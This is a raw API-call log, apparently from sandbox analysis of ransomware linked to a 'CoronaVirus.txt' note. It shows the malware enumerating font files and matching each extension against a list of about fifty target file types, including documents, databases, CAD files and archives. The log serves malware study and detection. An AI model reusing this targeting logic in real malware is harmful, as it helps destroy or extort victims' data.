	[0083.211] wcsstr (_Str=".bak", _SubStr=".ttf") returned 0x0
	[0083.211] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.211] wcsstr (_Str=".bat", _SubStr=".ttf") returned 0x0
	[0083.211] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.211] wcsstr (_Str=".doc", _SubStr=".ttf") returned 0x0
	[0083.211] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.211] wcsstr (_Str=".jpg", _SubStr=".ttf") returned 0x0
	[0083.211] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.211] wcsstr (_Str=".jpe", _SubStr=".ttf") returned 0x0
	[0083.211] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.211] wcsstr (_Str=".txt", _SubStr=".ttf") returned 0x0
	[0083.211] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.211] wcsstr (_Str=".tex", _SubStr=".ttf") returned 0x0
	[0083.211] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.211] wcsstr (_Str=".dbf", _SubStr=".ttf") returned 0x0
	[0083.211] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.211] wcsstr (_Str=".xls", _SubStr=".ttf") returned 0x0
	[0083.211] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".cry", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".xml", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".vsd", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".pdf", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".csv", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".bmp", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".tif", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".1cd", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".tax", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".gif", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".gbr", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".png", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".mdb", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".mdf", _SubStr=".ttf") returned 0x0
	[0083.212] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.212] wcsstr (_Str=".sdf", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".dwg", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".dxf", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".dgn", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".stl", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".gho", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".v2i", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".3ds", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".ppt", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".acc", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".vpd", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".odt", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".ods", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".rar", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".zip", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".cpp", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".pas", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".asm", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.213] wcsstr (_Str=".rtf", _SubStr=".ttf") returned 0x0
	[0083.213] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".lic", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".avi", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".mov", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".mp3", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".vbs", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".v8i", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".erf", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".epf", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".mxl", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".cfu", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".mht", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".bak", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".old", _SubStr=".ttf") returned 0x0
	[0083.214] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0083.214] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0083.214] wcsncmp (_String1="ch", _String2="..", _MaxCount=0x2) returned 53
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".bak", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".bat", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.214] wcsstr (_Str=".doc", _SubStr=".ttf") returned 0x0
	[0083.214] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".jpg", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".jpe", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".txt", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".tex", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".dbf", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".xls", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".cry", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".xml", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".vsd", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".pdf", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".csv", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".bmp", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".tif", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".1cd", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".tax", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".gif", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".gbr", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.215] wcsstr (_Str=".png", _SubStr=".ttf") returned 0x0
	[0083.215] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".mdb", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".mdf", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".sdf", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".dwg", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".dxf", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".dgn", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".stl", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".gho", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".v2i", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".3ds", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".ppt", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".acc", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".vpd", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".odt", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".ods", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".rar", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".zip", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".cpp", _SubStr=".ttf") returned 0x0
	[0083.216] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.216] wcsstr (_Str=".pas", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".asm", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".rtf", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".lic", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".avi", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".mov", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".mp3", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".vbs", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".v8i", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".erf", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".epf", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".mxl", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".cfu", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".mht", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".bak", _SubStr=".ttf") returned 0x0
	[0083.217] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.217] wcsstr (_Str=".old", _SubStr=".ttf") returned 0x0
	[0083.217] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf3a069, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeaf3a069, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.217] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.217] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.217] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.217] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.218] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.218] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.218] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.218] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.218] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.218] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.218] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.218] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.218] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.218] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.218] malloc (_Size=0x1000) returned 0x2f375c0
	[0083.218] _swprintf (in: param_1=0x2f375c0, param_2="%s\\%s" | out: param_1="C:\\Boot\\Fonts\\CoronaVirus.txt") returned 29
	[0083.218] wcsstr (_Str="C:\\Boot\\Fonts\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.218] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0083.218] wcsncmp (_String1="j", _String2=".", _MaxCount=0x1) returned 60
	[0083.218] wcsncmp (_String1="jp", _String2="..", _MaxCount=0x2) returned 60
	[0083.218] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.218] wcsstr (_Str=".bak", _SubStr=".ttf") returned 0x0
	[0083.218] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.218] wcsstr (_Str=".bat", _SubStr=".ttf") returned 0x0
	[0083.218] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.218] wcsstr (_Str=".doc", _SubStr=".ttf") returned 0x0
	[0083.218] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.218] wcsstr (_Str=".jpg", _SubStr=".ttf") returned 0x0
	[0083.218] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.218] wcsstr (_Str=".jpe", _SubStr=".ttf") returned 0x0
	[0083.218] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.218] wcsstr (_Str=".txt", _SubStr=".ttf") returned 0x0
	[0083.218] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.218] wcsstr (_Str=".tex", _SubStr=".ttf") returned 0x0
	[0083.218] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.218] wcsstr (_Str=".dbf", _SubStr=".ttf") returned 0x0
	[0083.218] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.218] wcsstr (_Str=".xls", _SubStr=".ttf") returned 0x0
	[0083.218] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".cry", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".xml", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".vsd", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".pdf", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".csv", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".bmp", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".tif", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".1cd", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".tax", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".gif", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".gbr", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".png", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".mdb", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".mdf", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".sdf", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".dwg", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".dxf", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".dgn", _SubStr=".ttf") returned 0x0
	[0083.219] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.219] wcsstr (_Str=".stl", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".gho", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".v2i", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".3ds", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".ppt", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".acc", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".vpd", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".odt", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".ods", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".rar", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".zip", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".cpp", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".pas", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".asm", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".rtf", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".lic", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".avi", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".mov", _SubStr=".ttf") returned 0x0
	[0083.220] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.220] wcsstr (_Str=".mp3", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
	[0083.221] wcsstr (_Str=".vbs", _SubStr=".ttf") returned 0x0
	[0083.221] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
